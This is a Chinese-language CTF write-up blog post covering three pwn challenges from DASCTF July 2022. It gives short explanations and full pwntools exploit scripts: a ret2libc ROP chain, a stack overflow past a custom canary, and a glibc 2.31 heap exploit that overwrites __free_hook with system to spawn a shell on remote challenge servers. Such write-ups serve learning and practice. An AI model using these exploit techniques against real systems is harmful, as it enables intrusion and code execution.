DASCTF July 2022 Pwn

hash_hash

记录前三道pwn,最后一道uuu师傅说堆风水很折磨,我还是太废了,就不看了(ㄒoㄒ)

eyfor

ctype跑一下随机数,整型溢出一下,ret2libc即可

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
from pwn import *
p=remote('node4.buuoj.cn',27539)
#p=process('./pwn4')
elf=ELF('./pwn4')

se=lambda data :p.send(data)
sea=lambda delim,data :p.sendafter(delim,data)
sl=lambda data :p.sendline(data)
sla=lambda delim,data :p.sendlineafter(delim,data)
ru=lambda delims,drop=True :p.recvuntil(delims,drop)
uu32=lambda data :u32(data.ljust(4,b'\x00'))
uu64=lambda data :u64(data.ljust(8,b'\x00'))
lg=lambda name,addr :log.success(name+'='+hex(addr))

ret=0x40063e
rdi=0x400983
main=0x40084B
bss=0x6010C0
rand=[1215069295,1311962008,1086128678,385788725]
sla('go\n','hash')
for i in range(4):
sla('message:\n',str(rand[i]))
sl(str(-1))
payload=b'/bin/sh\x00'+b'a'*0x30+p64(rdi)+p64(bss)+p64(ret)+p64(elf.plt['system'])
sl(payload)

p.interactive()

MyCanary2

一开始还以为是c的随机数有漏洞,百度了下说是线性同余,可预测但是生成了一组很怪,感觉不像

仔细看了看发现这里不用知道canary的值,leak后会自己更新,我们先覆盖完再leak就行

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
from pwn import *
p=remote('node4.buuoj.cn',28115)
se=lambda data :p.send(data)
sea=lambda delim,data :p.sendafter(delim,data)
sl=lambda data :p.sendline(data)
sla=lambda delim,data :p.sendlineafter(delim,data)
ru=lambda delims,drop=True :p.recvuntil(delims,drop)
uu32=lambda data :u32(data.ljust(4,b'\x00'))
uu64=lambda data :u64(data.ljust(8,b'\x00'))
lg=lambda name,addr :log.success(name+'='+hex(addr))

ret=0x40101a
text=0x401573
sla('Input your choice\n','1')
payload=b'a'*(0x6c)+p32(0)+b'a'*8+p64(ret)+p64(text)
sl(payload)
sla('Input your choice\n','2')
sl('3')
p.interactive()

compat

在uuu师傅的各种提示下,调了一下午才复现完,折磨⊙﹏⊙∥

主要问题在结构体上的一个4字节溢出,可以做到任意free一个堆上地址

再一个问题是编辑功能不好使,只能在malloc堆块的时候进行编辑,然后版本是glibc2.31,tcache上打不了double free,需要伪造chunk,这里学到了个操作,在chunk上的user段造fake_chunk的size域,这里需要在两个相邻chunk上分别构造一个,因为在free的时候tcache会检查下一个chunk是否有效

最后尝试打了一下malloc_hook发现og无效(给的og也不好结合realloc调),就直接打的free_hook

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
from pwn import *
p=remote('node4.buuoj.cn',27133)
#p=process('./compact')
libc=ELF('./libc-2.31.so')

se=lambda data :p.send(data)
sea=lambda delim,data :p.sendafter(delim,data)
sl=lambda data :p.sendline(data)
sla=lambda delim,data :p.sendlineafter(delim,data)
ru=lambda delims,drop=True :p.recvuntil(delims,drop)
uu32=lambda data :u32(data.ljust(4,b'\x00'))
uu64=lambda data :u64(data.ljust(8,b'\x00'))
lg=lambda name,addr :log.success(name+'='+hex(addr))

def cmd(i):
sla('give me your choice: \n',str(i))

def addx(data,tag,addr):
cmd(1)
sla('data: \n',data)
sea('tag: \n',tag)
sleep(0.01)
se(addr)

def add(data,tag):
cmd(1)
sla('data: \n',data)
sea('tag: \n',tag)

def show(idx):
cmd(2)
sla('idx: \n',str(idx))

def dele(idx):
cmd(3)
sla('idx: \n',str(idx))

def reset():
cmd(4)


for i in range(8):
add('1','1')
for i in range(7):
dele(i)

og=[0xe6aee,0xe6af1,0xe6af4]
addx('1',b'\xff','aab')
show(0)
ru('b')
heapbase=((uu64(ru('\n')))>>12)<<12
lg('heap',heapbase)
dele(7)
#gdb.attach(p)
addx('1',b'\xff',b'aab'+p64(heapbase+0x790)[:4])
reset()
#gdb.attach(p)
show(1)
ru('data: ')
libcbase=uu64(ru('\n'))-96-0x10-libc.sym['__malloc_hook']
lg('libcbase',libcbase)
onegadget=libcbase+og[0]
lg('og',onegadget)
malloc_hook=libcbase+libc.sym['__malloc_hook']
lg('malloc_hook',malloc_hook)
free_hook=libcbase+libc.sym['__free_hook']
system=libcbase+libc.sym['system']
#realloc=libcbase+libc.sym['realloc']
addx(b'a'*0x20+p64(0)+p64(0x91),b'\xff',b'aaa')#2
addx(b'a'*0x40+p64(0)+p64(0x91),b'\xff',b'aaa'+p64(heapbase+0x680)[:4])#3
dele(2)
dele(3)
#gdb.attach(p)
reset()
addx(b'a'*0x30+p64(0)+p64(0x91)+p64(heapbase)+p64(0)+p64(0)+p64(0x91)+p64(free_hook),b'\xff',b'aaa')
addx('/bin/sh\x00',b'\xff',b'aaa')
addx(p64(system),b'\xff',b'aaa')
dele(3)
reset()
#gdb.attach(p)
p.interactive()

总的来说一波打完,萌新还是收获不少

  • Post title:DASCTF July 2022 Pwn
  • Post author:hash_hash
  • Create time:2022-07-25 18:13:13
  • Post link:https://hash-hash.github.io/2022/07/25/2022DASCTF-July/
  • Copyright Notice:All articles in this blog are licensed under BY-NC-SA unless stating additionally.